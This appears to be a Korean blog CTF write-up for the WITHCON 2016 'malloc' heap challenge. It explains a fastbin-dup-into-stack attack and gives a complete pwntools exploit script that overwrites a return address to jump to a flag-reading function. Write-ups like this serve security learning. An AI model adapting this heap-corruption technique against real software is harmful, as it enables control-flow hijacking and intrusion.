본문 바로가기

ctf

[WITHCON 2016 CTF] malloc

# file malloc

malloc: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=2e04ee63e565ab5e8ebbd5507114abcf7d41bdcb, stripped

 

[*] '/ctf/malloc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

 

위 그림은 해당 바이너리의 main 부분이다. 분석에 특별히 어려운 것은 없었다.

이 프로그램에서 우리는 malloc, free 이 후 modify 를 통해 malloc 할당 시 반환 주소를 조작할 수 있다. 그리고 이 주소에 어떤 값을 입력받는데, 이 때ret address 를 덮을 수 있다. 바이너리에서 flag를 읽어주는 함수가 존재하기 때문에 해당 주소로 리턴하면 flag를 읽을 것이다.

 

[*]  주의해야 할 것은 malloc() 시 fastbin에서 가져온 chunk size를 요구에 부합하는 지 여부를 검사한다. 따라서 size 를 맞춰줘야 정상적으로 공간을 할당받을 수 있다. 

-> how2heap 에 fastbin_dup_into_stack.c 를 읽으면 쉽게 이해할 수 있을 것이다.

 

# exploit.py

from pwn import *


def malloc_func():

        p.sendline('1\n')
        print p.recvuntil('size :')

        p.sendline('32\n')
        print p.recvuntil('data : ')

        p.sendline('A'*32)
        print p.recvuntil('> ')

 

def free_func():

        p.sendline('2\n')
        print p.recvuntil('free : ')

        p.sendline('2\n')
        print p.recvuntil('> ')


        p.sendline('2\n')
        print p.recvuntil('free :')

        p.sendline('1\n')
        print p.recvuntil('> ')

 

def modify_func():

        p.sendline('4\n')
        print p.recvuntil('modify : ')

        p.sendline('1')
        print p.recvuntil('data : ')

        p.sendline(p64(fmalloc_ptr)*4)
        print p.recvuntil('> ')

def list_func():

        p.sendline('3\n')
        data = p.recvuntil('> ')
        hexdump.hexdump(data)
        print data

 

def exploit():

        p.sendline('1\n')
        print p.recvuntil('size :')

        p.sendline('32\n')
        print p.recvuntil('data : ')

        p.sendline('A'*32)
        print p.recvuntil('> ')

        p.sendline('1\n')
        print p.recvuntil('size :')

        raw_input(">")

        p.sendline('50\n')
        print p.recvuntil('data : ')

        p.sendline('C'*24 + p64(flag))

        p.interactive()


if __name__ == '__main__':


        p = process('./withcon_malloc')
        binary = ELF('./withcon_malloc')


        print p.recvuntil('Stack Address : ')

        stack_addr = int(p.recvline()[2:14], 16)
        fmalloc_ptr = stack_addr - 0x58
        flag = 0x400986

        log.info('stack_addr = ' + hex(stack_addr))
        log.info('fake_malloc_ptr = ' + hex(fmalloc_ptr))
        log.info('flag = ' + hex(flag))

        for i in range(0, 2):
            malloc_func()

        free_func()

        modify_func()

        exploit()

 

 

'ctf' 카테고리의 다른 글

[TJCTF 2016 CTF] oneshot  (0) 2017.01.20
[SECCON 2016 CTF] checker  (0) 2017.01.18
[Defcamp 2016 CTF] warm_heap  (0) 2017.01.14
[pwnable.kr] cmd2  (0) 2017.01.13
[pwnable.kr] dragon  (0) 2017.01.11